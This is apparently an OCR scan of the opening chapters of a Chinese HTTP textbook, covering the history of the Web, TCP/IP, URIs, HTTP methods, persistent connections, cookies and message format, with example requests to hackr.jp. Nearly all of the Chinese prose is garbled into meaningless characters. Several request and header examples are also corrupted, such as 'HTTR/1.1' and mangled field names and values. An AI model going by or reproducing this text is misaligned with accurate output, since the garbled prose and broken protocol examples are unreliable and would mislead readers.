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1.1 fER HTTP #L5 i Web
PREIE L BATE M TTRIYEE (Web browser) KoHhER: A URL BF, Web 5 & 417 £ILHG 2

:&m*&#wlfmwﬁumr-Tuﬁéwm LH
LK, AMERA T MEEERE, thiEBEWebTH

AR NS AURLZE, EREHETEL

P
REMERERARDYE, ARHE R REWebTRE L
Books o
Event/Learning :
Media s

Web T AN REE 2 BoR K. RIE Web J 583 bbb A2 Fr 8 52 19 URL, Web BI%i88 M Web AR 45 23313k
BUOCE %R (resource) {58, MiiEsH Web R .

B FIRI K% TE RIKEURS R IR M Web M RE, AR NE 4 (clent) .

Bt a b E S H1E (RS
HR XELER )
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EREHTTP MY EERE

PR AR %5 28
Web 4l —#14 % HTTP (HyperText Transfer Protocol, #83af&4ihi 1) MiE e, =RMES
U BIAR S A i % — RAVEERAE. M SCRIEMUE L . ATeAE, Web B/ HTTP Pril HilEm.

1 HTTP 3@ % BF A ORI, ARIXFIREIF A . T R4 B2 AR BB L. BRI — A B,
AHESWEH. BXEBIEE 2% B R XKL« hitp/Aww.ituring.com.cn/article/1817, ——&F# i


http://www.ituring.com.cn/article/1817
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FERNZES]) HTTP Z 8, BAVERNE—T HITP BEAERE F. THEREF N BE T #L%E HTTP K
BIE, XA BT RATELF A

1.21 RARFLEWRE Web
1989 &£ 3 A, HEBMIERET BN . EX—ERMIEIN, HTTP @47,

WWWZ—RUZE N FEHENTRSIAGIREE,

CERN (BRI FREFRLALD WM « 149457 - 2 (Tim BernersLee) g T —Fhagikim b m s Bt 7o %
MFEEHIRKR A

B BB S AR (B2 SO Z MM B RBKTE MUK A (HyperText) , R A A S
WWW (World Wide Web, 4R .

WAECIRH T 3 T WWW HEHAR, 47l&: # SGML (Standard Generalized Markup Language, #r#t
BAMCIES) /E RN SCAIRTIES K HTML (HyperText Markup Language, X AHRICZIES) ; 1F
RSO RTMLE) HTTP ;485 XCRY BT EE kA URL (Uniform Resource Locator, 4i—®IEEMFT) -

WWW iZ— 4R, #& Web 3 %88 2455 F R0 S8 SCA 1957 i SRR AP I B A8 7R o BRAE U SRR IX — R 51
KIS, AN Web,

1.2.2 Web BKm

1990 4£ 11 A, CERN BIBIR THF L —& Web RE5#M Web H%IAE. PIERR 19924£ 9 B, AAE
BB ER LT .
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1990 4, RF4HH HTML 1.0 ERHAT Titie, B HTML 1.0 HEEZ LM AEN IS, EREEEES
T.

e HTML1.0
http://mww.w3.org/MarkUp/draft-ietf-iiir-html-01.txt

1993 £ 1 H, BN ASHIMESE NCSA (National Center for Supercomputer Applications, 3 H E K #4%%
TENLN SN BFRE Mosaic HH T . B in-line (A ZRRER HTML KB, ZERGTE S A
P 2R A " SRR 7E tHE SRS B IR AT R

F4EMHK K, Mosaic i1 Windows fRF1 Macintosh fRTE . ) CGl BRI NCSA Web fig5-28. NCSA
HTTPd 1.0 2278 % 27X AN H B .

o NCSA Mosaic bounce page
http://archive.ncsa.illinois.edu/mosaic.html

e The NCSAHTTPd Home Page (F##4)
http://web.archive.org/web/20090426182129/http://hoohoo.ncsa.illinois.edu/ (iR

1994 £ 1 12 A, MBS AT KA T Netscape Navigator 1.0, 1995 £ /A &) KA Internet Explorer
1.0 f1 2.0,

HRE G R IE TR Web RS 33512 — ) Apache, 4iHE A Apache 0.2 %2 H LA H AR
Bi. M HTML R4 T 2.0 A H—4E, Web HARKIKER WIEik.

B UEE, M 1995 SEA AL, MIRAF 5 M EHERE A B Z RSB R KBS S KREEER. ARXAFAHEH
X HTML T3 /&, TRSBAS HTML WER, BH5EB#EAMMNHEX AR KNS HESH, XANE
TR AT 4 8 4L 55 iy TR 1A ) AR TR B R T

FEIX 7B WA BE LT 2 IR B SE 5 AATIAS UK S 5 J P B 25 Web ARdEAL LTI AR I, 38 BRIK HH BT 3 )
BEBEA o LU B SR I L

2000 “ERifE, XN BERRFHEEMRBREARNER MG S —BIE. HEHE 2004 £, Mozlla &SR
T Firefox JMEE, 2 RMEERERBERIREK o

Internet Explorer J W28 A M 6 3] 7 §i/EH%E T 5 FrF A ZFEERHMAEAT 8. 9. 10 4.
B4, Chrome. Opera. Safari £ ) %88 4y %336 5 W4 4
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HTTP T 1990 fEitt. AWK HTTP FF&A MR ERKIRAER . BIER HTTP HstdH HTTP1.0 2l
WA RS, FEgFRk)y HTTP/0.9.
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HTTP IEXAENIRHER A RTE 1996 £/ 5 A, AR AHA HTTP/M.0, FFIZRT RFC1945. EUiAY]
bR e, (EZ P IUbRAE 2 A2 A P AR AR 55 2% 0

e RFC1945 - Hypertext Transfer Protocol -- HTTP/1.0
http://www.ietf.org/rfc/rfc1945.txt
HTTP/1.1

1997 £ 1 A XA HTTP/1.1 R B AT ERME HTTP hilthiA . HyIRtriER RFC2068, < J& KA HIETT IR
RFC2616 #i/2 2 Al {1 BT A«

e RFC2616 - Hypertext Transfer Protocol -- HTTP/1.1
http://www.ietf.org/rfc/rfc2616.txt

W, fEA Web SUREERITINE HTTP, ERBAJLFEAER. #—N HTTP/2.0 IEEHIT+, (HEEEF
BEMEAERR, HEEUNH.

L4 HTTP W L R B RA T MBSO . TR SRR 8, TRELEM FRETR
ZMATREIFBRNT LFRMER . BE HTTP il B4 T Web XMERKRIR, HZHE T &Mz RE.
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AT HEMHTTP, BAVELERSET T TCPIP Hrillik.
B NS (B TR R TCP/IP WilkMMER LIBfEw. T HTTP BT EAHM—A T4,

TR, BAUUHEME HTTP Fr E£8EH TCP/IP VR E. HHRHE—P%IH K TCP/IP KR, &
S H AR TCP/IP & k45,
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HHEIE MRS EMLER, WTReSETHRKTTE. thin, mARNEEE B, Bl—dkkie
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1.3.2 TCPIPM4GEER

TCP/IP thil ik REE I — st~ 2. TCP/IP BURIZE RN AUT 4 E: MR, FHE. NEE
MR R o
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ERRSE, BME) , BORASWET LS GRaFBESERS—UMEREN) B4 LR EERER
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1.4 5 HTTP RRFE I H : IP. TCP 1 DNS
FERATSHIEXE TOP/IP Pristih 5 HTTP ERAI4H 3 ANt (P, TCP /il DNS) #EAT 8.

141 HistdeHm 1P #ril

¥ ZEW 4, IP (Internet Protocol) MIBRIMUALF M4 ZE . Internet Protocol iX4~4 #R AT Rl kR A MK,

BESZIELWL, FAJLFIEHERAMEHNREEHS A P Y. TCP/IP Pk 1P 55t 2 M xR b

W, WP EET —RmE, HEERT L. THE AP AP bk HiE, “IPHSgR—fh
WHIBFR

IP i IV RIS FhER RALIR AN o T EARIER AL A RIS A, 7 B R &K% . Hdmi
BEERFEMR IP HiBEF MAC H#i3k (Media Access Control Address) .

IP bt 5B 7 R IR R ek, MAC bt 218 MR BTJ& B B e kb . IP bk ] DR MAC Huhib 347 B
XFo IP Mk AT AR, {2 MAC HihbBEd EASE S,

/1 ARP Hp USR5 MAC st #4738 15

IP [a] (5 M MAC k. ZEMZ E, @BERXTER—REMN (LAN) ARBREARDN, BEREEE
BIUFEHRIM S R &R A BRI T . MEMTHEN, SFHAT R R&rN MAC il REBR T —
A H R, XE, 23 ARP #i (Address Resolution Protocol) « ARP & —7f F DAf# AT bk i i3,
TRIEEE A IP HhEHE AT DU 2 H X R MAC Hidik.

BA N BE 9 4 48 TP b i A5 iR
KBS BARATH R R R, AL T BATLAI B b 2555 00 2% e 4% X RE R B AR S (O AR B 22

ZAHLEIFR BRI (routing) , A RBYUEAF KA LUIRE. BEFPGEHA, REK A KL E
FERhL, MU AIENEA R REERMRE, RN R REBCP LR E RYKEE L, BT 5
R XIRE LR G 5, WA RIREEB 0 B2 AWRBRRIEBIN TR .
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RSy, TCP AL FE4ZE, RETTEMFETRARS .

B3RS (Byte Stream Service) =218, AT 7 EE%, 4 RIEIE S BIR AR CE (segment)
AL IR EEATEE. WA RAERIRS R, REIEEEETTRIMESA T . — S Az, TCP )
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1.7 URI A URL

5 URI (i—%¥EHRFIRZ) M, RATEZE URL (Uniform Resource Locator, Si—®IEEMR) . URL
IERMEH Web J 8351510 Web TR FEMAMMITHEE, Ehin, TEM hitp:/hackr.jp/ #i& URL.
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1.71 G—RERRE
URI & Uniform Resource Identifier 1455 . RFC2396 4 HIStiX 3 ANBHEBEAT 70 F 8 Yo

Uniform

e G — W AT 7 E AL B 2 A FIZR R A BRIR, T A FARYE BT SO BRIR BRI E a7 e 5
Ah, IAFHERIF R (0 http: B fip:) HEAES .

Resource

FUREE SCR AR REE TR TG B T 3O SCfE . BEREURS (BB RRAIR) FHE0 X A T H ikt
R, SE|MAERBTR. 55 RFEALATLRE—K), W R SHIES .

Identifier
RRAFR IR R MR AARIRFF .

g EpTR, URI LR 007 R K R IR R 8 AR IRAF . 7 SR 1815 1) BRI B (6 B W R B 4
o

SEH HTTP Bhilthd, $hir £52 http. BRI 4h, &F ftp. mailto. telnet. file . FrifERT URI HilF &
H 30 M, HFRJET EEREBN IR E E K 4EE F4EF ICANN (Internet Corporation for Assigned
Names and Numbers, HEtM 2 H5 55k 5B 1 IANA (Internet Assigned Numbers Authority,
HEMSHEARE) &M .

o IANA - Uniform Resource Identifier (URI) SCHEMES (4 — % EH R H )
http://mww.iana.org/assignments/uri-schemes

URI Al BB bR iR — BRI 3R, 10 URL R BIRR S (LB BRI ED) « AL URL &2 URIKY
T

“RFC3986: 4i—RIFEIIRFF (URD MBAIEE"HFI% T JLM URI 6T, WTFHR.

ftp://ftp.is.co.za/rfc/rfc1808.txt
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tel:+1-816-555-1212
telnet://192.0.2.16:80/

urn:oasis:names:specification:docbook:dtd:xml:4.1.2
AHETROZFHAEHI URIXARE, ERSEFHEMMLE, BTH URL E# URL

1.7.2 URI#&R

FRIEEM URI, {825 A 5 B BAOZ4x URI 48% URL BLE A URL. AHXF URL, R4M3 5% aS
FREA URI A ER URL, 40 /image/logo.gifs

LERAISER T M — T 40 URI IR

I'-t_'.rrr.-'.J5&!;DEE-S@EI-'-IWW.M_EF!‘L::-IE :u:E_!}.fd:r! "-duz_nc.hr.mﬂ.ln-:!swcl?l

Wil SFES AR 52 b bt SEAHTHEE HEEAE
AEE | AE) REsios Bl F 7

fEH http: B¢ https: P T R4 IRELY 0] BEUR AT ZAR B IR . ARG FRANE, BER—AES
).

WA data: B javascript: X4 & iR BRIATE 7 8077 244

BFEE GAE)

a5 Fl P A A ERD R 9 IR 55 8 m R BN BRI S L B RA5 B (BHHAIE) o BLIURATE .
IR 55 25 i bk

4% URI 2048 & 507 10 (1 iR 45 2 bk . Bbhk mT DURZEMBL hackr.jp iX 7 DNS w1 & 7%, 2
192.168.1.1 iX2% IPv4 Hilt 4, EF PAR [0:0:0:0:0:0:0:1] XL 75 S IEAE KM IPv6 Hihk42 .

Jig 55 28 3% 11 5

HERFSERN M O 5. LBHRTIERE, 5/ ARUAasERRAmDS.

R K S B R

858 IR S5 8% b SO B AR SR S AL IE I RUR . X5 UNIX RGN SO B SREEHARL

BEHFRSH

Bt CL IR RE KIS AR B BEUR, AT DU B AT AR ANERSH. Tk,

h BR iR

A8 P BOAR IR 38 3 AT AT ) SRR R T B0 ORI ED o (B7E RFC I 8cA i e



7T, R AT
HARFA KM RAREF#HFE RFC

LR E HTTP B ARbR RIS, EN##kA RFC (Request for Comments, fEREIER
WA .

WE, MARFSURH RFC MERAESEIl. LK, RFC 2EBMK TR, ERAER RFC
FRAEDAT, BIA T REFECEEEE KRG, i, F—6 Web IR554% P IR IR 458 A M8 RFC KR
HESEHL, TR Web 31 %5 88 s AR AT RETCVE VT IHIX 6 RS54 1 -

BT A RFC AR SEBU TEiEREAT HTTP B SGERTE, FrilEE A B P oAl as & U RFC 4
FRUESRSCHL HTTP Pl (B e S R0 B FIFR 7 R % 7 i BRUIR S5 88 B BN R, TR IR RFC Anie, &
TH B R —E R e I RIS 5L

A% RFC SRR, BRI 03 Jyik B TR TR 7 & H AP % P AR 280 (ELBEA8
—F, MRAXHNARFHEAEEEZ, BEREMGAER? TREG, HALRE P 55 SRS 855 %
REABAERETE .

KEREBEBRM L, BELIT HTTP Ml — LR 458 o Rl LR RAEElss
AFARAH HTTP Bl K sLBB A — .

AFETRENGK HTTP WiXAR, BREMIFIS, EAR EHU RFC KRN,



B 2% K HTTP #il

AEWEXT HTTP thill S AT PR, FEMAHTTPAAMRA. $5eixE, BORFKMAAEME HTTP il
T .




2.1 HTTP $pBUH T2 7 36 A1 AR 55 43 3 2 [e) B9 S 5
HTTP HhUR TCP/IP Hhist e B FehtaAx 2 RO B-BUARIL, PR P2 SRR 45 3% 2 IS 03 «

T SRV I SCAR B R S BEIR BN — PR % P o, TR 3 R A L ) — S PR 9 IR 55 A o o

& P

Bl: R HTTP thillf, %ER—REEE WA, H—WEERSSEMA6
ERETENZEEH HTTP HSGEER, 7E—FBERE LU EE —mR % 0, 53— 2 RS54 .

AW, LD, PIETHENE R b R S5 4550 B0 A (A W RE S B (ER U — SRR R
U, MRF AR A CRFER, T HTTP W R BIm X 0 Wi 257 3, W =2 AR 5548 0 o



2.2 B E SR N A Bk R OE 1E

Bl R0 B % SR, TR 55 28 S [B] 52

2 i REs

HTTP BhE, RN ok, BUa RS a3 BZiE RIFIRE . HAER, HERENE S mITIE
BALIBER, RS AR EEE R AT & RIS R,

T, BATRE —RAEHRE
Dk R

GET / HTTR/1.1
Host: hackr.jp

(205 T 0B fix
HTTP/1.1 200 OK

Date: Tue, 10 Jul 2012 06:50:15 GMT
Content-Length: 3262

Content-Type: text/html

<html=

T R P S RIR A A HT TP IR 4538 3 (1 SRR I 2R

GET /index.htm HTTP/1.1
Host: hackr.jp

RRIRAT I SR I GET RR 1 K17 19 IR & 322K A, BRI (method) o BEJEHIFHF & /indexhtm #5837 K
VI IR &, WIMHIER URI (request-URD . #JE HTTP/1.1, BJ HTTP MIRAES, FREREF
WRAE R I HTTP Hh il Thes.

ZERE, ZRBUERNEFNEEE: ERWHIES HTTP k554 LK /index htm TUHE B8 .

TERIBCAR BIERITE ER URL PSR TR SR 385 BRI A 2 SEAR A B



;ﬁ.éﬁi LIRI 54}iﬂi§&.25

T T

POET JEorm/entry HITEY 1.3

ke AT

e
Hoet o hackriJp

Copnection: kesp-alivs

Content-Tyvpa: application/x-www-form-urlencoded
Content-Length: 16

Iame=-ueno tage=37T

1

RETE
B RIS R

HREBFRENELEME SRR BTR, ROSEIRE. ZREERNRS S, SBERAE
P A3 5 R DA 7 FF) T SO [B

HTTP/1.1 200 OK

Date: Tue, 10 Jul 2012 06:50:15 GMT
Content-Length: 362

Content-Type: text/html

<html>

FERRARATIF R HTTP/1. 1 SRR MRS RS BLM HTTP hiRA .

EHHREN 200 OK FRiERIAILE RHKPRSTT (status code) FMERFSEIE (reason-phrase) » F—17&
7N T AR LK) H AR ], R EEFBR (header field) WI—ANEH:.

BEU—ZT0W, ZJEHAERORIESSAREER (entity body) .

WA REAR SO b PR ORA S RFESED CRARTERBINBARM ST RS « A UARRSER R EEE. T
T ma B B B DL R SRR AR R TR BRAT X IX L Y A BEAT VR UL .



REENREEE

R A R 75D
N Z AR P

HTTP/1.1 200 OK =

Date: Tug, 0 Jul 2012 086 :50:15 |GMT

Content-Length: 362
Content-Type: text/html

<html>

£V

B e R 4% S B



2.3 HTTP RAREREHI BN

HTTP 2 —FARIPRE, EITBRE (stateless) Hhilt. HTTP WM E 5 A% 78 RAW R 2 18] R85 RS AT
TRAE. WELRUAE HTTP XANG, WhBOn TR IKIE #E SR B SR A ek AL b2 .

MzuksIrta KW, 2aKET

4B mEE?

Bl: HTTP il B & N B & RAE 2 A R & T 17 R 2ma B 1) 2h g

R HTTP B, R 2A HHIERAER, B0 R TR R A4 o PhA 5 AR B 2 Al — DT iE R B
MR SIS R . XA T BRI KBRS, BRI REYE, TR R HTTP Pt it sn sk
B,

R, BEE Web MIANTARE, BEICREST SIS MEERMFNERLELT. in, APE8R3—KWY
Wik, BRAEAdBEEE B2k A G, R ERMSRIFEIRE . HXRALE], WA T RS EER
W EER, FEREHAFIRS.

HTTP/A.1 BRRIDCRESIHU, (AT LR RAFIREIIEE, TRIIAT Cookie HiAR. AT Cookie
A HTTP HhsGEfE, BT VEEMRE T . A% Cookie HIVELH AT /G HH# -



2.4 R URI ELHE IR

HTTP #EA URI SERL BB LRI BIE. IERFE A URI K4S EThRE, 78 TR0 B AR R AL B i R IR AR RE v 18]
2,

URI j
hitp:/www . usagidesign.jp/photo/usagithim

URI

httﬁ:ﬂhackr,'ﬁf *

UR]
http:fwww.example. comfauth/index.htm

Bl: HTTP # A URI ik 7 3 %€ Ao B 3 98

L% i R VT BRI IR IE R, URI & ZLR AR SRRSO IER URI B TEN . $85EiE Rk URI TS
REMRL.

« URI AR E URI

BET hitps /inackr: Jprindex htm HETEAL (1

2=k LRI

« EEEE B Host p SR S 2 5P st

GET Jimdax htm HITP/ 1.1
Hozt: hacgkr. o

B : LA http://hackr.jp/index.htm £ A& R 5 7


http://hackr.jp/index.htm

BRUbZAb, RN U RV FE SR T R R 55 88 A B RO IE R, DA — A * RAEER URL. TG
RE W HTTP R85 I HTTP J7ikfhk.

OPTIONS * HTTP/1.1



25 FHRRSHERER HTTP Jjik
T, RAMA HTTPA.A o] 7

GET : IJKEUBHE

GET J¥EFRER VT i ©4% URIRZIIRIE. 1858 MBIRE RS S G R B N2 . i, i
EREBEFR A, BWAFEARE; R REE CGl (Common Gateway Interface, BRI MEEEL) A
FIFEF, TR E 25 BT 5 e 45 3 .

& P

8 GET J7 ¥ i % 3K - w1 2 i 4 1

GET /index.html HTTP/1.1
Host: www.hackr.jp

R

i B & [H] index.html f) 7 1 % U5

GET /index.html HTTP/1.1
HR Host: www.hackr.jp
lf-Modified-Since: Thu, 12 Jul 2012 07:30:00 GMT

UREI20124E7 H12H7 304 LAE EHTE index htmI TE B . WRAKRH NE

I EH, M ELRATE304 Not Modified i 7 & [5]

POST: f&iskih ik
POST J5 ¥ i SR A i Sk i 4

BIRA GET Jrik Wl MERse ik 4k, E—RAH GET Jikstiri&4y, MRH POST Jjik. Bt POST
HIThEE s GET MRARML, {H POST HIZEZ H B AR IR R EA N A .



& P i

£ POST J5 # K13 3K - W L ) 4] 7

POST /submit.cgi HTTP/1.1

Host: www.hackr.jp

Content-Length: 1560 (156077 K%L
i)

R

I L R [E] submit.cgi HeSCEEE 1 Ak 2 45 R

PUT: &%

PUT J7iERRAG SO BUE FTP PRSI B —FF, BEOREFRMCHERPOEXMHANE, REHRT
F#ER URI e AL E .

B, %TF HTTPA.1 9 PUT ¥ B B R HIRIENLE], B AT LES0f  FEZEERE, Fik—&
) Web Wi ANMEF %% . HECA Web RLHRFRRAENH], B4 % iR REST (REpresentational
State Transfer, RIDCRAEHEE) FrEIFEZE Web M, #hAlge&FFREH PUT ik,

E
Y AR
: Xt

£ PUT J7 8 1693 3R - W 2 I 9] 7

PUT /example.html HTTP/1.1
Host: www.hackr.jp

Wk Content-Type: text/html
Content-Length: 1560 (1560 =¥ KI%3E)
w1 Wi 53R [ER A5 204 No Content (Ebtm = % html EAF7E T AR %528

is))



1w B R B S RERPATRIN T, EEEERE . —FFE

HEAD: 3R HE &
HEAD J7ikfl GET J5—#, RENREHRCEEIES. FHTHHIA URIBIE R R B IRSE T R0 B R 4.

2P e

Bl: M1 GET —H, EAREHRIL A
18 F§ HEAD J7 ¥ i 7% 3R - 2 i 451 7

HEAD /index.html HTTP/1.1

R Host: www.hackr.jp

W B iR [Elindex. html 7 5% i i 57 & ¥

DELETE: Mg c#

DELETE 7Rk >, 25 PUT #7577 . DELETE 7R URI MikkTs & HI B UR .

fH2, HTTP/1.1 () DELETE J7rikA &A1 PUT JriE— R IRAENUH], BT DA—R& IR Web Pkt i
DELETE J7i%. A& Web B IRIENH], BUF REST frtkm B 2H W RS TFRAE A K.

e R R

{8 F DELETE J5 ¥ F1 1% 3R -1l )82 ff) 45 7

DELETE /example.html HTTP/1.1

R Host: www.hackr.jp

W B2 3R [EDIRZSFS 204 No Content (o = % html B M iZARS 28 L



e %)

OPTIONS: 1 al 32 #5 It J5 82
OPTIONS 75 SRE WA X5 R URI 18 5E i BRI SR 7

$ 3 GET #a
HEAD T 5t

M ol § 42

B HR % &8
fE Fl OPTIONS J5 ¥ i1 & 3K - Wi B2 ) 1 1

OPTIONS * HTTP/1.1

R Host: www.hackr.jp
HTTP/1.1 200 OK
Wi ,;-\)Illzc))_\lf\lro(;I;T POST, HEAD,
GR [R5 88 R I TT 3D
TRACE: EEHRE

TRACE 7721k Web JIf 55 #8357 18 SRIBAE 3R B 45 % 7 S K 77 ¥«

RIEWERI, # Max-Forwards H#7EBHIRABE, FENE— MRS R ZE TR 1, ZHHERIFRE
O W, AifF gk iehn, Ha R BIE RN RS #4550 R ER S 200 OK HMA L

% il TRACE J7iEm A R I £ HERZERBUM TES / Bk, XEFER, HREEERIE
HARR S5 #45 W eil i B ¥, TRACE J7iE R F R ER SRR R A K — R FIHRAE .

B/, TRACE HiEARMAEAHA, BN ERES51 K XST (Cross-Site Tracing, #uiigEg) Kk, &
HFREASHET .



W B E

P EEA R MATERESS 2 EALES
2 AR 38 AR 5 88 8 1 P 4 BT K i

BT REHREL RN

28 g B
Max-Forwards: 2 Max-Forwards: 1 Max-Forwards: O

8 TRACE J i ) 5 3R - W B I 45 7

TRACE /HTTP/1.1
Wk Host: hackr.jp
Max-Forwards: 2

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 1024

= TRACE / HTTP/1.1

Host: hackr.jp
Max-Forwards: 2 Ci& [a] i B2 A5 3% SR A
)

CONNECT: LR FiI B2 38 th SUE B E

CONNECT Ai:EERESRERE B SN EILRRE, SSOARE N IGHT TCP@EE. EEMA
SSL (Secure Sockets Layer, %4E#ZE) Ml TLS (Transport Layer Security, f£#iZ%4) hiGe@ERE
PN 25 Ja 2 W 45 Bk T8 A5 5

CONNECT J7 i T Fis

CONNECT HREMRF 4 M5 HTTPRRA



L@y
- F B

&P i RIER SR

8 1 CONNECT J 2 iy % 3R -Wa B i) 45 7

CONNECT proxy.hackr.jp:8080
ER HTTP/1.1
Host: proxy.hackr.jp

il B HTTP/1.1 200 OK (ZJ5 #EN W £ B 18 )



26 MHBETEWS
IR URI 1658 B PR R X VR SCR, SRR R A &
JERIMERTET, WD R M SR R AT R, AR GET. POST il HEAD %,

GET % 5t
R RO

PUT % %
KETHTES~

HEAD F 3%
LR MERS

TRIIW T HTTP/1.0 f HTTPAA SXRHITTE. S4h, BEARD KNG, EREARE T,

& 2-1: HTTP/1.0 f1 HTTP/M.1 R I 7 B

Tk L S He I HTTP Bh i iR A
GET PEH IR 1.0~ 1.1
POST Herse ik E 4 1.0~ 1.1
PUT A 1.0~ 1.1
HEAD PRABMCE 1.0~ 1.1
DELETE B S A 1.0~ 1.1
OPTIONS 1 SR 7 ¥ 1.1
TRACE BEE 1.1
CONNECT B i 38 b5 B4R 1.1
LINK fe R 1) 3 bd i) ) 3 1.0
UNLINE WL R 1.0

TEXBAIZEH AL JEF, LINK 1 UNLINK 28 HTTP/1.1 B3, AEXE.



27 FAEEVHRBERGERE
HTTP B AT A, 347 — % HTTP B S MBI — % TCP i&#,

I TCP&ER
Y
e S | se—
s SYNJACK
ACK >

—— T TP G —

R FIM
ACK S
FIN >
& ACK
e
BT TCP 42 |

DLMERBEHIRY, FAMRLE BRI SCAES, FTCARIEXFMERE L RIS, ATEEE HTTP )
R, XHEhEERBEAKERE TEX.

thgn, ERRISEESNYE — S S REA K HTML SRS, 2R RV HTML B SR IN R, il
RiZ HTML Bl B & MR, B, SREIERESERTIEE TCP EHE L MEIT, #nEREEK
THEH.



RFEER—ME 2 EZKE
B HTML X # 3F 2 B
WebWH, £~ E K&K
BISTFEH,

HEEL HTML A% I
B TCP i

S

HTTP %3 /Ui 7 o
W TCP %

BT TCP &
HTTP &K /i i/
W TCP &8

: ﬁmﬂﬁl
B TCP&EE

HTTP & 5 /i i
W TCP & $%

271 HAEE

NfRR ER TCP ZEZM A, HTTP/M1.1 F—EE0H HTTP/M.0 Bl TRAZER: (HTTP Persistent
Connections, H#kA HTTP keep-alive B, HTTP connection reuse) KIi%. HAEZKEHE, REMAE
—UREE AR BRER:, NGRS TCP E8RE.



B TCPER:

N\

SYN »
G SYN/ACK
ACK i =i Sviu g4 M

web T o 4T FF
BEERT!

: it dke

€ HTTPUR
HTTPIE K m—

€ HTTPU

% FIN
ACK B
FIN >
= ACK -
N
HT A TCPEE 2

Bl: FFAEEBERY 1K TCP % 5T £ Wil RN B IK 32 H

FRAERMF A T T TCP EENEF @ MMTIT T B BsNT 4, W T IRF R k. Aok,
WD TSRO AR S I 6], A HTTP 35 RN B2 BE 5 58 R 4531, XA Web TUTH ) B @ BE sl AR LR T

fE HTTP/1.1 1, FRf RERBRIN RS AER, B HTTP/1.0 W3RN . BRE MRS S8
PRER T BRI T AR, EIRSSIA —E R SR AER. BN, BRTIRS SN, KO bE
B RAERE.

272 BZ4
FAERMERZHERUELRA (pipelining) J7NRIEBATTRE. MBTRIETE RIE TSR IHUBIMR, 46
RIET— MR BRABARBIG, THERMNIRAT E#RE T —MER.

XFERRE R MBI RN AT KRS MER, MARE MR DMEFERNT .



B TCPE R
HTTPIE R s
G HTTPUf R
4 HTTPUR2

W FFTCPE 3

Bl: AERWMN, BERET-MER

i, HiER—ANEE 10 RETK HTML Web TH, S5HAEEMIL, AFAEET DALERERLE R,
MBS ARN LR AEREER. BREBL, NHERBAEL.



2.8 f#i [ Cookie HIRAEH

HTTP RIRE WL, BN Z AR A & RS KRS EATEE. Wl El, TERYE 2 AT RpRES#E
IFAR RIS R

BRERERINER Web WA & TEHTRENEE CREROERKRED , AR I AR
ERRER, SREESIGERBCUPIMSERERE RS,

AHHEN, BREBDULRBEERMRA. BT ABREPRSE, BRTED RS FK CPU KA FBRKIHE
Feo MA—MIERY, HIERBEN HTTP s S RIEHEH AR, LA 2BMAESMZRE.

ik % — —21EMp
17, % &8 okl
o & o

Bl mRikRSSEHELTE RSN SR #HE

BRE TR BOXAMRHE BRI LB REUUK T E &, TRIIAT Cookie HiR. Cookie $AE K
SRAIE BRI B N Cookie 15 B R Ia 61 P ik KPR .

Cookie S MR 5525 B A 32 B WA B2 15 ST A B — Ui Set-Cookie I BT BUE R, A% i fRAF
Cookie. 24T ¥% i BE ARS8 KIXTERN, &/ e BIEFE RPN Cookie 1H /G Kk %

JIR 55 85 3 R B %% 77 3 J2 153 R IR Cookie J&, £EMAATER NI —NE R RIERIER, REX LIRS
HEMER, RERSIZIHRSER.

o ¥ A Cookie 5 BRETHIER



4 ffiCookie
12RO A ER

DARIFER
O

K >
@FE R th R A1Cookie/51R El
< 0] 7

EPim
£ Cookie + R
. Cookie

Cookie

o B 2WLLIE (FFF Cookie 5 BRAE) HiFK
(4&2ECookie

@ik cpiinCookie/a & 1%
Bk &

Cookie

< U Rz

7, ERIAe

B F (k

EERERT R4 Cookie AL EMIES, HTTP 38R STHIMI R STHI AT .
1. ERWIX (&FH Cookie 15 B HIRE)

GET /reader/ HTTP/1.1
Host: hackr.jp
* T B A B Cookie MM RS B

2. MR (R4 %% 4 B Cookie 15 8.)

HTTP/1.1 200 OK

Date: Thu, 12 Jul 2012 ©7:12:20 GMT

Server: Apache

<Set-Cookie: sid=1342077140226724; path=/; expires=Wed,
10-0ct-12 ©7:12:20 GMT>

Content-Type: text/plain; charset=UTF-8

3. ERMX (BZIRIZRFER Cookie 58)



GET /image/ HTTP/1.1
Host: hackr.jp
Cookie: sid=1342077140226724

A RERMICAWI XN Cookie WM EHHFR, HSEZFHET.



#® 3% HTTPIIXCAK HTTP E 8

HT TP 38 {5 P2 45 I 7 s A e 25 % i O 8 SR I MR 55 28 s 1% [ 2 P i RO IR I o AR B8 R A FRATISR T —
TR LR E RS .




31 HTTP#KRX

AT HTTP BhSE B RS SR HTTP 3830, EREG GR35 1 HTTP WO o RIRss, mssg i
S5asdi) AR L. HTTP XA SR LAT (] CRLF /RBATHRR) BB 74 8 34

HTTP R SCRBAI 73 ARSCE MRS E AP R WE BRI EAT (CR+LF) k&2, @%, HFA—
BRI E .

[ W E )
EinicdErGRLEENEREBENATEMRY

[CR+LF]
CRi Carrzge Return, E2E8, 16E3H Ox0d )30
LF Line Feed, #8575 6% Ox0a |

[ B =Eix)
B s m

Bl: HTTP LIS



3.2 WERMICK RIS
BAVRE — TR SRR S 10 454

HRiT

ERENFR

BEEHTR

EZHEHTR

H A

Bl #RIFX (B MWK (F) M%H

RE

L i =g

BEESFE

FEEIFE

Hik




GET / HTTP/1.1 ERIT

‘Host: hackr jp
Teer-Agent : ““-iu-ﬁf?' 0 (Nindews WT &.1; NOMEd Tvi1% 0] Geckn/20100101 Firsfen/13.0 1
?ﬁm:upr. text/hitml, applicaticnfshtmlemml  applicationfeml  g=0.9, ¢ /¥ ;1q=0.8
Accspt-Languaga: ja,en-usig=0.7,s0:9=0.3
ﬂgﬁp‘; Enceding: gsmip, deflata
1 N

Conmection: keep-alive
H&gm: m—uaﬂh.ﬂ -
Cache-Contrel: ho-cadhe ERHEHEH

HTTP/1.1 200 OK HEE
Date: Fri, 13 Jul 2013 0Zid4Bc26 GMT

Bapars .h_‘muhp

Last-Medified: Fri, 31 Aug 2007 02:02:20 GMT

BTag: "4Ebaal-15a-4£a776aa"

Accept -Rarges: bytes

Content-Tength: 382

Chppection: Slose
mmt-'l'mr Eex rml

B #ERM|C (LD MmpiRse CF) #sEsl

SRR SO L3R SCHE R A A R DL SR R BUTE BB BT B SRS TR R ST R
WRAT

BERTHRKTTE, R URIA HTTP 4.

RET

BRI N RICREE, REEEN HTTP [,

HHTR

AL 2RI 7 SR 2 ) 45 o 2 A Ak ) % 2K

—RE 4 FEE, 2R EAEE. EREE. R E AL E .
FHfl

RS HTTP B RFC AR E XK E# (Cookie ) »






3.3 iR THERER

